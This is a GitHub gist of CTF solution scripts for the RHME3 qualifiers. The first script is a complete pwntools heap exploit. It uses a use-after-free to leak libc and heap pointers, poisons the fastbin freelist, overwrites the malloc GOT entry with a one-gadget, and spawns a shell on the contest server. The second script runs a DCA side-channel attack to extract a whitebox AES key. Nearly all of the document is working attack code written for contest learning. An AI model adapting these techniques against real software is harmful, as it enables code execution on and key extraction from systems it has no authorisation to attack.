Skip to content

Instantly share code, notes, and snippets.

@glem0
Last active September 1, 2017 23:36
Show Gist options
  • Save glem0/43a3a455584b7cfcaa9ea66e0ac128d2 to your computer and use it in GitHub Desktop.
Save glem0/43a3a455584b7cfcaa9ea66e0ac128d2 to your computer and use it in GitHub Desktop.
Solution to RHME3 Quals
# Solution to RHME3 Quals 'Exploitation'
# glem
from pwn import *
context.log_level = 'debug'
class rhme3Pwn:
def __init__(self, p):
self.p = p
def add_player(self, name, a=0, d=0, s=0x21, p=0):
# default values to help represent fake chunks
self.p.sendline("1")
self.p.recvuntil("name: ")
self.p.sendline(name)
self.p.recvuntil("attack points:")
self.p.sendline(str(a))
self.p.recvuntil("defense points:")
self.p.sendline(str(d))
self.p.recvuntil("speed: ")
self.p.sendline(str(s))
self.p.recvuntil("precision: ")
self.p.sendline(str(p))
print("[+] Created player! with name %s" % name)
self.p.recvuntil('choice: ')
def remove_player(self, index):
self.p.sendline("2")
self.p.recvuntil("index: ")
self.p.sendline(str(index))
print("[+] Removed Player! with index %d" % index)
self.p.recvuntil('choice: ')
def select_player(self, index):
self.p.sendline("3")
self.p.recvuntil("index: ")
self.p.sendline(str(index))
print("[+] Player %d Selected" % index)
self.p.recvuntil('choice: ')
def edit_player(self, name):
self.p.sendline("4")
self.p.recvuntil("choice: ")
self.p.sendline("1")
self.p.recvuntil("name: ")
self.p.sendline(name)
self.p.recvuntil("choice: ")
self.p.sendline("0")
print("[+] Player edited! new name is %s" % name)
self.p.recvuntil('choice: ')
def show_team(self):
self.p.sendline("6")
print("------------")
print(self.p.recvuntil('0.'))
self.p.recvuntil('choice: ')
print("------------")
def show_player(self):
self.p.sendline("5")
print("------------")
print(self.p.recvuntil('choice: '))
print("------------")
# preload the libc for debugging exploit
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
# pull things we need
binary = ELF('main.elf')
got_malloc = binary.got['malloc']
# Parameter to play around with smallbin sizes
sz = 215
local = False
# just set chunk indexes for exploit
if local:
r = process('./main.elf', env=env)
chunkZ = 0
chunkA = 1
chunkB = 2
chunkC = 3
else:
r = remote('pwn.rhme.riscure.com', 1337)
chunkZ = 0
chunkA = 4
chunkB = 5
chunkC = 6
a = rhme3Pwn(r)
r.recvuntil('choice:')
# Make large chunk such that it is NOT a fastbin - because we want
# a libc leak of the smallbin array slot.
# We need more than one chunk so that when we free the 0'th one it doesn't get
# combined with the top chunk and we have one to read data from :)
a.add_player('Z'*sz)
a.add_player('')
a.add_player('')
a.add_player('')
a.add_player('')
a.add_player('')
# The fourth chunk in the exploit needs to have a null for the name, as this 'name'
# will appear on the freelist, and when malloc_consolidate gets called we
# don't want to die, we want the NULL to be the end of the fastbin freelist.
a.add_player('')
a.add_player('')
a.add_player('')
a.add_player('')
# select player 0 so we can read the ptrs out of it when we free it (UAF)
a.select_player(chunkZ)
# now free it so we can leak the pointers to the small bin array
a.remove_player(chunkZ)
# now lets read the 'name'! ;)
# ----------------
r.sendline('5')
r.recvuntil("Name: ")
lkd_fd = r.recvuntil('\n', drop=True)
lkd_fd = u64(lkd_fd.ljust(8,'\0')) # unpack it and adjust it
log.success("Leaked main arena ptr: 0x%x" % lkd_fd)
r.recvuntil('choice: ') # get to clean state
# ----------------
# now that we have this, we can find the offset from libc base!
libc_base = lkd_fd - 0x3c4b78 # (hard coded offset found from gdb for this libc)
log.info("Hence libc_base: 0x%x" % libc_base)
# and the magic gadget I already have..
gadgets = [0x4526a, 0xcd0f3, 0xcd1c8, 0xf0274, 0xf1117, 0xf66c0]
one_shot = libc_base + gadgets[3] # number 3 has the constraints we need
log.info("one_shot we are using @: 0x%x" % one_shot)
# restore the first chunk
a.add_player('Z'*sz)
# get a UAF on player 2 by getting it to the front of the fastbin freelist
# P2 -> P2n -> P3 -> P3n -> NULL
a.select_player(chunkA)
a.remove_player(chunkB)
a.remove_player(chunkA)
# ----------------
# Read the FD ptr of Player 2's name chunk (so the addr of P3 chunk)
r.sendline('5')
r.recvuntil("Name: ")
lkd_loc = r.recvuntil('\n', drop=True)
lkd_loc = u64(lkd_loc.ljust(8,'\0'))
r.recvuntil('choice: ')
log.success("Leaked heap ptr: 0x%x" % lkd_loc)
# -----------------
# We want to corrupt the FD ptr of Player 2 name chunk to point to Player 3's
# actual player chunk
a.edit_player(p64(lkd_loc+0x60))
# Restore player 2, but having '4141414141414141 0000000000000021' as the name
# for the purpose of the name chunk allocation at the very last stage
a.add_player('')
# Malloc a forced chunk where the player overlays the Player 3 name chunk and
# the name chunk for this allocation goes to the bottom of the heap because
# of it's size because we don't care about it
a.add_player('A'*sz)
# Remove the player chunk we just created
a.remove_player(chunkB)
# Select the player 4 chunk so we can rename it, changing the FD ptr of the
# player chunk we just created - allowing us to malloc our own NAME chunk
# wherever we want
a.select_player(chunkC)
a.edit_player(p64(lkd_loc-0x30))
# Create a chunk - which will be overlapping the original Player 2 player chunk
# the name that will overlay the name Ptr of player 2 is the addr of got_malloc
a.add_player(p64(got_malloc))
a.select_player(chunkA)
# and now we write the one shot gadget to the malloc GOT entry
a.edit_player(p64(one_shot))
# and initiate a malloc call via creating a player
r.sendline("1")
# shellz
r.interactive()
# Solution to RHME3 Quals 'Whitebox'
# glem
import sys
sys.path.insert(0, '../../')
from deadpool_dca import *
from binascii import unhexlify
def processinput(iblock, blocksize):
reta = unhexlify('%0*x' % (2*blocksize, iblock))
return (reta, ['--stdin'])
def processoutput(output, blocksize):
return int(''.join([x for x in output.split()]), 16)
T=TracerPIN('../shared/rhme/whitebox', processinput, processoutput, ARCH.amd64, 16)
T.run(2000)
bin2daredevil(configs={'attack_sbox': {'algorithm':'AES', 'position':'LUT/AES_AFTER_SBOX'},
'attack_multinv':{'algorithm':'AES', 'position':'LUT/AES_AFTER_MULTINV'}})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment